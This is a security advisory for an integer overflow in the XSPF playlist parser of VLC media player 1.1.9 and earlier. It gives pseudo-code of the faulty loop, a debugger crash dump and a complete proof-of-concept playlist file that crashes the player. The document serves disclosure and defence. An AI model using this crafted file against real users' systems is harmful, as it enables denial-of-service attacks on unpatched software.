TITLE
 
    VLC Media Player XSPF Local File Integer overflow in XSPF playlist parser
 
AFFECTED VERSIONS
 
    VLC media player 1.1.9 down to 0.8.5
 
VENDOR
 
    VideoLAN Organisation
 
CLASS
 
    Denial of Service (DoS)
 
RESOURCES
 
    http://www.videolan.org/security/sa1104.html
 
 
PRODUCT DESCRIPTION
     
    VLC is a free and open source cross-platform multimedia player and
    framework that plays most multimedia files as well as DVD, Audio CD,
    VCD, and various streaming protocols.
 
TECHNICAL DETAILS
 
    XSPF file is the XML format for sharing playlists.
    A sample of the XSPF document is as follows:
 
    <?xml version="1.0" encoding="UTF-8"?>
    <playlist version="1" xmlns="http://xspf.org/ns/0/">
        <trackList>
        <track><location>file:///crash/tecr0c.mp3</location></track>
        </trackList>
    </playlist>
 
    The VLC XSPF file uses a tag <vlc:id></vlc:id> in the component Demuxers: Playlist
    which accepts decimal values for the vlc:id. When entering a large value that is
    beyond the memory segment that is allocated for program data the program crashes.
    Setting <vlc:id> value to 1073741823,e.g. <vlc:id>1073741823</vlc:id>
    will results in a MEMORY ACCESS VIOLATION and the application crash.
 
    The vulnerable code in module libplaylist_plugin.dll looks like (pseudo C code example):
 
                do
                {
                  __counter += 8;
                  mem->dword0 = 0;
                  mem->dword4 = 0;
                  mem->dword8 = 0;
                  mem->dwordC = 0;
                  mem->dword10 = 0;
                  mem->dword14 = 0;
                  mem->dword18 = 0;
                  mem->dword1C = 0;
                  ++mem; <-- violation happens here when mem value is greater then memory segment
                }
                while ( __counter <= __controlled_value_edx );
              }
            };
 
    Once we hit an address that does not exist we will result in a Denial of Service condition.
 
    EAX 01A97FE8
    ECX 00003320
    EDX 3FFFFFFF <--------------- Value we control
    EBX 01A972F8
    ESP 02B6FBA8
    EBP 02B6FCC0
    ESI 00000007
    EDI 01A8B388
    EIP 7024FA5E libplayl.7024FA5E
    C 0  ES 0023 32bit 0(FFFFFFFF)
    P 0  CS 001B 32bit 0(FFFFFFFF)
    A 1  SS 0023 32bit 0(FFFFFFFF)
    Z 0  DS 0023 32bit 0(FFFFFFFF)
    S 0  FS 003B 32bit 7FFAF000(FFF)
    T 0  GS 0000 NULL
    D 0
    O 0  LastErr ERROR_SUCCESS (00000000)
    EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
    ST0 empty +UNORM 6900 00AECAB0 00ADEB10
    ST1 empty +UNORM 000B 003F0428 694C2808
    ST2 empty -UNORM EB10 00AECAB0 00ADEB10
    ST3 empty 0.9999999999999573674
    ST4 empty 0.5000000000000000000
    ST5 empty 0.9999999999999573674
    ST6 empty 0.0
    ST7 empty 559.00000000000000000
                   3 2 1 0      E S P U O Z D I
    FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)
    FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
 
     
    End of block:
    01A97FE8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    01A97FF8  00 00 00 00 00 00 00 00                          ........
 
PROOF OF CONCEPT (PoC)
 
    <?xml version="1.0" encoding="UTF-8"?>
    <playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
        <title>Playlist</title>
        <trackList>
            <track>
                <location>file:///C:/Users/tecr0c/Desktop/tecr0c-win.mp3</location>
                <duration>992</duration>
                <extension application="http://www.videolan.org/vlc/playlist/0">
                    <vlc:id>1073741823</vlc:id>
                </extension>
            </track>
        </trackList>
        <extension application="http://www.videolan.org/vlc/playlist/0">
                <vlc:item tid="0" />
        </extension>
    </playlist>
 
FIX
 
    VLC Media Player 1.1.10
 
TIMELINE
 
    03062011    Contacted vendor with PoC
    05062011    Bug fixed by vendor
    08062011    Patch release to public in 1.1.10